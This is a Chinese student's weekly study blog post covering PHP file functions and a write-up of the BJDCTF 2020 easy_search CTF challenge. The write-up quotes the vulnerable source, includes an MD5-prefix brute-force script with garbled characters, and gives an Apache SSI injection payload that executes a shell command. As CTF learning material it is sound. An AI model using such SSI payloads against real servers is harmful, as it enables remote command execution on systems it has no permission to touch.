春季?夏季?学习报告5.10(我的青春........在家里度过)

本周学习的主要内容是 部分PHP函数和竞赛题
听说好像大一的不开学??????
或者是只待一个月就回来?????
emmmm那我有点心疼车票钱了。。。 而且要么在线“考试”(copy)大家都过,要么现在开学,还有一个多月抢救一下,不然如果一到学校就考试,再怎么放水一个班至少得挂15个…
行吧,废话少说
1PHP函数(主要还是为后面的竞赛题做准备)

说道php又得一提,就是学的PHP·和比赛要考的php完全不是一个东西好吗…
照着教程学习,除了理顺思路,看得懂大概过程之外,很多东西压根就学不到,比如说下面这一堆函数,如果不专门找出来看,而是按教程去学习,基本上没戏,所以这也侧面反映了,变学边做的重要性和正确性!
fopen
fopen() 函数打开一个文件或 URL。

如果 fopen() 失败,它将返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。
fopen(filename,mode,include_path,context)
filename 必需。规定要打开的文件或 URL。
mode 必需。规定您请求到该文件/流的访问类型。
可能的值:

“r” (只读方式打开,将文件指针指向文件头)
“r+” (读写方式打开,将文件指针指向文件头)
“w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
“w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)
“a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)
“a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)
“x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)
“x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

write() 函数将内容写入一个打开的文件中。

函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。

如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。
fwrite(file,string,length)

close() 函数关闭打开的文件。

该函数如果成功则返回 TRUE,如果失败则返回 FALSE。

一般这三个函数打一套组合拳使用

<?php
$file = fopen("test.txt","w");
echo fwrite($file,"Hello World. Testing!");
fclose($file);
?>

创建文件,写入数据,关闭文件。

还有图片里的一些函数(我还是习惯手写,用脑子记,而不是电子版)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二 BJDCTF 2020 easy_search
一道稍微有水平的题了
主要就是给了一个网页,要账号密码进入 然后网站本身泄露了index可以扫描出来php的规则,再根据这个规则构建账户和密码进入,同时,根据php了解到flag的存放方式和目的,再根据php中的代码,找到用户名的漏洞,在构建用户名来扫出flag的位置,用bp抓到位置,最后再读取。
首先进入网页就是这个页面
在这里插入图片描述
用御剑扫描后台
还是要一台好一点点的电脑,我大概扫了5分钟左右才出来
我是6500u 2c 4t 2.3ghz
在这里插入图片描述
在这里插入图片描述
第一个是可以正常进入的

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

就是这个非常考验的代码了
emmm然后所有分析我都写纸上了呢…
在这里插入图片描述

首先是随机获取文件名的一个函数,最关键的是让password前6个字符的md5加密值等于6d0bc1,然后会在public目录下创建一个shtml文件,再将post传参的username字段写入这个shtml文件中。

首先写个脚本让password前6个字符的md5值等于6d0bc1:
import hashlib

a= “0123456789”
for o in a:
for p in a:
for q in a:
for r in a:
for s in a:
for t in a:
for u in a:
b = str(o)+str§+str(q)+str®+str(s)+str(t)+str(u)
md5 = hashlib.md5(b.encode(‘utf-8’)).hexdigest()
if ((md5[0:6])==‘6d0bc1’):
print b

(暂时我还·不会写,但是反正最后得出来密码是2020666)
然后随便设一个用户名和密码2020666登陆

进入页面后啥都没有,但从bp抓包可以看见
有一个隐藏的url
在这里插入图片描述

得到今天的重点内容

Apache SSI 远程命令执行漏洞
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

敏感文件泄露

index.php.swp
(SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

(SSI注入的条件:

1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

emmmm可能比较不好理解,简单的说,就是 输入的用户名可以被当做 命令来执行,这里只需要利用技能树所学的rce的知识就可以了
用户名

<!--#exec cmd="ls ../"-->

密码2020666

登陆,然后用bp抓包,找到那个隐藏的url,然后如果全部在bp上操作也可以,但是也可在网页上进行操作
我选择的是在网页上进行操作,
在这里插入图片描述
在输入了账号密码之后,把网址后面加上那段url就可以访问了,然后就显示出了,flag的名字,复制flag的名字,再放到网址后面,打开,就可以看见flag

然后就有点糊涂的做完了,后来回过来想,之前PHP随机数那么多次一值不明白是干什么,后来才明白,可能是要生成一定长度的flag和url,毕竟我们发现flag的方式就是找到他的名字以后直接来网址那里输入就可以打开了,所以理论上没有前面这些步骤,只要你能“猜”对flag的名字,也是可以直接得到flag的,所以就用这种方式让你不可能穷举什么的得到flag

然后还做了几道比较水的题,我就不详细写了,列出来

BJDCTF 2020 misc 藏藏藏
还是得到文件,压缩包 然后打开,发现里面夹带了私货,一个docx,打开,发现是二维码,扫描,得到flag

百越杯 2018 签到 一个数独游戏,用在线软件可以解出来,然后把81位数
(对,没错,81位一个字不能差,转成md5) 然后填入flag即可

本周就是这么些东西了哦,下一周我还会参考本周的思路,继续做,学一点点的。另外web方面也还会继续学习的,争取把进阶方面的题给搞完。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值